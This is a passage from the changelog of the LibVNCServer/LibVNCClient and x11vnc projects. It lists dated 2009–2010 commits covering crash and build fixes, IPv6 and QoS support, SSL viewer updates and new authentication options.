http://tigervnc.sourceforge.net/cgi-bin/rfbproto It is also + mentioned in the official RFB protocol. + +2010-10-28 Tobias Doerffel + + * libvncserver/main.c: Added missing initialization of extension + mutex When not calling rfbRegisterProtocolExtension() the extension mutex + is uninitialized but used upon calling rfbGetExtensionIterator() and + rfbReleaseExtensionIterator() in rfbNewTCPOrUDPClient(). This causes + libvncserver to crash on Win32 when building with thread support. Signed-off-by: Tobias Doerffel + Signed-off-by: Christian Beier + +2010-10-21 Christian Beier + + * libvncclient/rfbproto.c, rfb/rfbproto.h: Only define strncasecmp + to _strnicmp when using MS compiler. Redefining strncasecmp to _strnicmp makes libvncclient hang forever + in SetFormatAndEncodings() on Windows when built with MinGW64. Reported by Tobias Doerffel , thanks! + +2010-10-20 Tobias Doerffel + + * libvncserver/rfbserver.c: In rfbSendDirContent() we have to make + sure to call closedir() before returning. This did not happen if + rfbSendFileTransferMessage() failed. Signed-off-by: Christian Beier + +2010-10-20 Christian Beier + + * libvncclient/sockets.c: Fix build failure wrt IP QoS support in + libvncclient. This is a small addendum to + 0797e42a4aaf8131ae71899faea2d682ed81cb59. Seems that having IPv6 + support in the OS does not necessarily mean that IPV6_TCLASS is + available. One such case seems to be Mac OS X 10.5. + +2010-02-09 Vic Lee + + * libvncclient/sockets.c: Avoid 100% CPU usage when calling + ReadFromRFBServer and no available bytes to read Signed-off-by: Vic Lee Signed-off-by: Christian + Beier + +2010-10-08 Christian Beier + + * rfb/rfbproto.h: rfb/rfbproto.h: Prefix WORDS_BIGENDIAN when it is + defined. Some (all?) autotool versions do not properly prefix WORDS_BIGENDIAN + with LIBVNCSERVER_, so do that manually here. Thanks to Lorenz Kolb for reporting. + +2010-09-29 Christian Beier + + * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c, + libvncclient/vncviewer.c, rfb/rfbclient.h: IP QoS support in + libvncclient. This enables setting the DSCP/Traffic Class field of IP/IPv6 packets + sent by a client. For example starting a client with -qosdscp 184 + marks all outgoing traffic for expedited forwarding. Implementation for Win32 is still a TODO, though. See + + http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.htmlfor an overview of the Win32 QoS API mess... + +2010-09-07 Christian Beier + + * TODO, libvncclient/sockets.c, libvncserver/httpd.c, + libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: + Non-blocking sockets for Windows. Expands the SetNonBlocking() function in libvncclient/sockets.c to + also work under Windows and also changes it to honour maybe already + present socket flags. A similar function was introduced for libvncserver as well and all + the #ifdef'ed fnctl calls replaced with calls to that one. Signed-off-by: Christian Beier + +2010-09-06 Christian Beier + + * libvncserver/main.c, libvncserver/rfbserver.c, + libvncserver/scale.c: Cleanup: remove CORBA stuff. The header file and most of the functions referred to do not exist + in libvncserver. Signed-off-by: Christian Beier + +2010-09-10 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update + classes/ssl jars, patches, and script + +2010-09-10 runge + + * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, + x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, + x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c, + x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/misc/ultravnc_repeater.pl, + x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, + x11vnc/pointer.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: update + to x11vnc 0.9.12 + +2010-09-06 Christian Beier + + * libvncclient/rfbproto.c, libvncserver/tight.c: Fix MinGW32 + compilation with libjpeg. MinGW32 (or more exactly, a rpcndr.h file included by winsock2.h) + typedefs a 'boolean' type that jmorecfg.h included by jpeglib.h also + tries to typedef. So, tell the jpeg headers. Closes: 3007302 + +2010-07-11 Christian Beier + + * configure.ac, libvncclient/sockets.c: Fix MinGW32 checking for + IPv6. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2010-06-29 Vic Lee + + * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c, + rfb/rfbclient.h: libvncclient: add ipv6 support [jes: pulled the "host" declarations into the conditionally compiled + blocks where that variable is used. Also fixed non-IPv6 + connections.] Signed-off-by: Vic Lee Signed-off-by: Johannes + Schindelin + +2010-05-31 Wouter Van Meir + + * libvncclient/vncviewer.c: Call MallocFrameBuffer before + SetFormatAndEncodings The hook is still called after InitialiseRFBConnection() so we can + choose the color settings depending on the vnc server (or settings) + in that hook. This way one can use the "VNC server default format" pixelformat if + the client supports it, or perform a workaround (Intel AMT KVM + "classic vnc" server only works using 8bit colors in RFB3.8) Signed-off-by: Wouter Van Meir + Signed-off-by: Johannes Schindelin + +2010-05-19 Christian Beier + + * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: + Implement a DisplayFinishedHook for libvncserver. If set, this hook gets called just before rfbSendFrameBufferUpdate() + returns. Signed-off-by: Christian Beier + +2010-05-08 runge + + * ChangeLog, libvncclient/rfbproto.c: libvncclient: + rfbResizeFrameBuffer should also set updateRect. + +2010-05-08 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/connections.c, x11vnc/screen.c, x11vnc/unixpw.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: tweaks to + prepare_x11vnc_dist.sh. set cd->unixname in apply_opts(). + +2010-05-07 Johannes Schindelin + + * AUTHORS: Complete the AUTHORS file Signed-off-by: Johannes Schindelin + +2010-05-07 Wouter Van Meir + + * CMakeLists.txt: fix CMakeLists.txt: other way to find pthread + library ... and fixed linking of the tests in the examples directory. Signed-off-by: Wouter Van Meir + Signed-off-by: Johannes Schindelin + +2010-05-05 runge + + * classes/ssl/index.vnc, classes/ssl/proxy.vnc, + classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc, + classes/ssl/ultrasigned.vnc, prepare_x11vnc_dist.sh, x11vnc/README, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: misc/etv sync. + +2010-05-01 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/misc/ultravnc_repeater.pl, + x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, + x11vnc/xrecord.c: x11vnc: X11VNC_DISABLE_SSL_CLIENT_MODE option to + disable SSL client role in reverse connections. Improvements to + logging in ultravnc_repeater, ULTRAVNC_REPEATER_NO_RFB option. + Increase SSL timeout and print message if 'repeater' mode is + detected for reverse SSL connection. Fix RECORD scroll XCopyArea + detection with recent gtk/gdk library; set X11VNC_SCROLL_MUST_EQUAL to disable. Limit logging of RECORD error messages. + +2010-04-28 Johannes Schindelin + + * client_examples/Makefile.am: Another try to fix the _SOURCES issue Signed-off-by: Johannes Schindelin + +2010-04-28 Corentin Chary + + * CMakeLists.txt, rfb/rfbconfig.h.cmake: cmake: fix CMakeLists.txt - It's SDL_LIBRARY, not SDL_LIBRARIES - Detect GnuTLS and set the macro in rfbconfig.h - Add tls.c to libvncclient to avoid missing symbols Signed-off-by: Corentin Chary + Signed-off-by: Johannes Schindelin + +2010-04-25 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/enc.h, x11vnc/help.c, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/sslhelper.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: incorporate new + ultravnc_dsm_helper.c. + +2010-04-18 runge + + * x11vnc/ChangeLog, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa + tch, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: Sync ssvncviewer changes. + +2010-04-18 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, + x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, + x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, + x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: + Improvements to demo scripts. Alias -coe for -connect_or_exit. Fix + HAVE_V4L2. Warn no Xvfb, Xdummy, or Xvnc. Xinerama screens. + +2010-04-09 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/inet.c, + x11vnc/inet.h, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, + x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, + x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/util.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: exit(1) for + -connect_or_exit failure, quiet query mode for grab_state, + pointer_pos, etc. ipv6 support. STUNNEL_LISTEN for particular + interface. -input_eagerly in addition to -allinput. quiet Xinerama + message. + +2010-04-09 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Improvements to + Java viewer: troubleshooting settings and workarounds, misc bug + fixes. + +2010-04-09 runge + + * x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, x11vnc/misc/inet6to4: Synchronize ssvnc 1.0.26. + Improvements to perl scripts desktop.cgi, connect_switch and + inet6to4. + +2010-03-21 runge + + * classes/ssl/README, classes/ssl/onetimekey, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, + x11vnc/keyboard.c, x11vnc/misc/Makefile.am, x11vnc/misc/README, + x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, + x11vnc/misc/inet6to4, x11vnc/misc/panner.pl, + x11vnc/misc/ultravnc_repeater.pl, x11vnc/remote.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: + Many improvements to Java SSL applet, onetimekey serverCert param, + debugging printout, user dialogs, catch socket exceptions, + autodetect x11vnc for GET=1. x11vnc: misc/scripts: desktop.cgi, + inet6to4, panner.pl. X11VNC_HTTPS_DOWNLOAD_WAIT_TIME, -unixpw %xxx + documented, and can run user cmd in UNIXPW_CMD. FD_XDMCP_IF for + create script, autodetect dm on udp6 only. Queries: pointer_x, + pointer_y, pointer_same, pointer_root. Switch on -xkd if keysyms + per key > 4 in all cases. daemon mode improvements for + connect_switch, inet6to4, ultravnc_repeater.pl. Dynamic change of + -clip do not create new fb if WxH is unchanged. + +2010-03-21 runge + + * configure.ac: I think two HAVE_X's were missed. + +2010-03-13 Johannes Schindelin + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix compilation + without TLS Signed-off-by: Johannes Schindelin + +2010-03-13 Johannes Schindelin + + * client_examples/Makefile.am, client_examples/SDLvncviewer.c: Fix + compilation with newer automake For some reason, this developer's automake no longer understands + _SOURCES lines anymore. Work around that. Signed-off-by: Johannes Schindelin + +2010-03-13 Johannes Schindelin + + * client_examples/Makefile.am, configure.ac: Rename HAVE_X -> + HAVE_X11 This change is just for consistency reasons. Signed-off-by: Johannes Schindelin + +2010-02-22 runge + + * classes/ssl/README, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c, + x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/ssltools.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: + Java SSL applet viewer now works with certificate chains. x11vnc: + Printout option -sslScripts. Suggest -auth guess in error message. + Set fake_screen width and height. Test for +kb in Xvfb. + +2010-01-22 Christian Beier + + * libvncclient/vncviewer.c: libvncclient/vncviewer.c: don't set + serverPort in rfbInitClient(). The serverPort member is already set in rfbGetClient(), if we set it + again in rfbInitClient(), this breaks playing of vncrec files (this + relies on serverPort set to -1). Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2010-01-16 Johannes Schindelin + + * libvncclient/vncviewer.c: LibVNCClient: make sure that the port is + initialized correctly. While at it, adjust coding style. Signed-off-by: Johannes Schindelin + +2010-01-15 Vic Lee + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c, + rfb/rfbclient.h: Add UltraVNC Repeater support in libvncclient [jes: adjusted coding style, made sure port is initialized + correctly] Signed-off-by: Vic Lee Signed-off-by: Johannes + Schindelin + +2010-01-07 runge + + * x11vnc/README, x11vnc/misc/Xdummy, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: x11vnc: add modeline creation to Xdummy. + +2010-01-07 Christian Beier + + * libvncserver/font.c: libvncserver/font.c: add some checks to + rfbDrawChar(). In some cases (bad font data) the coordinates evaluate to <0, + causing a segfault in the following memcpy(). [jes: keep the offset, but do not try to segfault] Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2010-01-07 Christian Beier + + * vncterm/LinuxVNC.c: LinuxVNC: Fix for no input possible because of + ctrl key being stuck. Issue was reported as Debian bug ##555988, + http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=555988 Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2010-01-04 Christian Beier + + * vncterm/LinuxVNC.c, vncterm/VNConsole.c: LinuxVNC: fix segfault at + "linuxvnc 1 -help". This fixes Debian Bug #399501: Switch to tty1. Run "linuxvnc 1 + -help". You see help text, followed by "Segmentation fault". Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2010-01-02 runge + + * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, + x11vnc/allowed_input_t.h, x11vnc/appshare.c, x11vnc/avahi.c, + x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c, + x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h, + x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, + x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, + x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, + x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, + x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, + x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, + x11vnc/macosxCGS.h, x11vnc/misc/README, x11vnc/misc/Xdummy, + x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/options.c, + x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, + x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, + x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, + x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, + x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, + x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, + x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, + x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, + x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, + x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, + x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h, + x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, + x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, + x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, + x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, + x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: + small tweaks to Xdummy, rx11vnc*. Apply SMALL_FOOTPRINT to + -appshare text. Copyright year change. + +2010-01-02 runge + + * libvncserver/tightvnc-filetransfer/rfbtightserver.c: year++; + +2010-01-02 runge + + * ChangeLog, libvncserver/tightvnc-filetransfer/rfbtightserver.c: + tightvnc-filetransfer/rfbtightserver.c: enabled fix for tight + security type for RFB 3.8 (debian bug 517422.) + +2010-01-01 Vic Lee + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c, + rfb/rfbclient.h: Add support for viewers to select security types on + demand Signed-off-by: Vic Lee Signed-off-by: Johannes + Schindelin + +2009-12-29 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/misc/Xdummy, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: rename -create_x to -create_xsrv. + Hopefully done fixing Xdummy. + +2009-12-28 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, + x11vnc/misc/Xdummy, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Fix problems in + --without-x builds. Fix crash with -QD query for dbus info. Adjust + window size for small screens in -gui. Improve F1 help for xdm, + etc. include ssvnc 1.0.25 source. + +2009-12-24 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/ssltools.h, + x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: prepare_x11vnc_dist.sh for 0.9.10. + -xdummy_xvfb, -svc_xdummy_xvfb and -create_x shorthand. lxde + session. Xdummy improvements and root no longer required. + +2009-12-20 Vic Lee + + * libvncclient/rfbproto.c: Fix version checking (>=3.8) for + rfbVncAuthOK confirmation when no password required It seems that vino does not send AuthOK when there is no password + with anonymous TLS, and it seems that vino is the only <3.8 VNC + server that handles anonymous TLS at all, so let's not wait for the + packet that will never come. Signed-off-by: Vic Lee Signed-off-by: Johannes + Schindelin + +2009-12-21 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/sslhelper.c, + x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: x11vnc: -DENC_HAVE_OPENSSL=0 to disable enc.h + but still have ssl. Tweak ps command in find_display. Try to handle AIX su. Ignore an initial newline at login: for -unixpw. + +2009-12-18 runge + + * x11vnc/ChangeLog: ChangeLog typo + +2009-12-18 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, + x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: Add tag=... to unixpw opts to set FD_TAG. + Prefer Xvfb over Xdummy. Reduce wait time for https. Add 'Login + succeeded' output to unixpw panel. + +2009-12-18 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/remote.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix keycode and other + remote control actions under DIRECT: with an extra XFlush and other + safety measures. fflush(stderr) much in su_verify. Make the + -unixpw env. vars UNIXPW_DISABLE_SSL and UNIXPW_DISABLE_LOCALHOST + work correctly. Make -loopbg actually imply -bg. + +2009-12-15 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/inet.c, + x11vnc/misc/Makefile.am, x11vnc/misc/connect_switch, + x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, + x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, + x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xdamage.c, x11vnc/xevents.c: X props names via env var. + fakebuttonevent action, connect_switch and ultravnc_repeater.pl + scripts, find_display try FD_XDM on failure, -quiet and -storepasswd + changes, better port 113 testing. + +2009-12-07 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, + x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c, + x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: X11VNC_EXTRA_HTTPS_PARAMS, + X11VNC_HTTP_LISTEN_LOCALHOST, X11VNC_REOPEN_SLEEP_MAX, + -findauth/-auth guess FD_XDM=1 for root, work around xhost + SI:localuser:root. + +2009-12-05 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/gui.c, + x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Update java + and scripts in classes/ssl. x11vnc: declare crypt() on all + platforms. more wishes. + +2009-12-02 runge + + * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, + x11vnc/appshare.c, x11vnc/connections.c, x11vnc/cursor.c, + x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c, + x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, + x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, + x11vnc/xinerama.c, x11vnc/xrandr.c: x11vnc: -appshare mode for + sharing an application windows instead of the entire desktop. map + port + 5500 in reverse connect. Add id_cmd remote control functions + for id (and other) windows. Allow zero port in SSL reverse + connections. Adjust delays between multiple reverse connections; + X11VNC_REVERSE_SLEEP_MAX env var. Add some missing mutex locks; add + INPUT_LOCK and threads_drop_input. More safety in -threads mode for + new framebuffer change. Fix some stderr leaking in -inetd mode. + +2009-12-01 runge + + * libvncserver/cursor.c, libvncserver/sockets.c, + libvncserver/translate.c: Add locks of updateMutex in + rfbRedrawAfterHideCursor() and rfbSetClientColourMap(). Up listen + limit from 5 to 32. + +2009-11-18 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: ssvnc/enhanced_tightvnc_viewer update. + +2009-11-18 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, + x11vnc/enc.h, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c, + x11vnc/selection.c, x11vnc/solid.c, x11vnc/ssltools.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: + -findauth, -auth guess, & etc. + +2009-11-11 Christian Beier + + * libvncclient/listen.c, rfb/rfbclient.h: libvncclient: better + return value for non-forking listen. The return value now better reflects what has happened: 1 on success + (incoming connection on listen socket, we accepted it successfully), + -1 on error, 0 on timeout. Also change the select calls to not check _all_ possible file + descriptors. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-11-05 Christian Beier + + * libvncclient/listen.c, libvncclient/rfbproto.c, + libvncclient/vncviewer.c, libvncserver/rfbserver.c: Fix checks for + socket values, 0 is a legal value. To make this work, we also have to initialize sockets to a default + value of -1. Also close a client listen socket if it's open. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-10-31 Christian Beier + + * libvncclient/vncviewer.c: libvncclient: include winsock2.h in + vncviewer.c. fixes warning about closesocket being implicitly declared. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-11-05 Vic Lee + + * configure.ac: Change GnuTLS minimum requirement to 2.4.0 Signed-off-by: Vic Lee Signed-off-by: Johannes + Schindelin + +2009-11-04 Vic Lee + + * client_examples/ppmtest.c, examples/example.c, + libvncclient/sockets.c, libvncclient/zrle.c, libvncserver/cursor.c, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, + vncterm/VNConsole.c: Fix various compilation warnings Signed-off-by: Vic Lee Signed-off-by: Johannes + Schindelin + +2009-10-07 Vic Lee + + * libvncclient/rfbproto.c, libvncserver/vncauth.c, rfb/rfbclient.h, + rfb/rfbproto.h: Add MSLogon security type Signed-off-by: Vic Lee Signed-off-by: Johannes + Schindelin + +2009-10-31 Johannes Schindelin + + * AUTHORS: Add Alexander to the authors Signed-off-by: Johannes Schindelin + +2009-10-31 Christian Beier + + * client_examples/SDLvncviewer.c: SDLvncviewer: don't call clean up + the same client twice. If rfbInitConnection fails, it cleans up the client, so protect + against doing it ourselves again. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-10-30 Christian Beier + + * client_examples/SDLvncviewer.c: SDLvncviewer: add SIGINT handler + to be able to actually stop program. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-10-26 Christian Beier + + * client_examples/SDLvncviewer.c: SDLvncviewer: use -listennofork + when -listen specified. As -listen mode isn't really working under UNIX and not at all under + windows, use -listennofork and an outer listen loop instead. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-10-26 Christian Beier + + * libvncclient/listen.c, libvncclient/vncviewer.c, rfb/rfbclient.h: + libvncclient: add a non-forking listen function. Forking the whole process from deep within a library call does not + really work at all with apps that use multiple threads, i.e. every + reasonably modern GUI app. So, provide a non-forking listen function + so that the caller can decide if to fork, start a thread, etc. This implementation adds a timeout parameter to be able to call the + listen 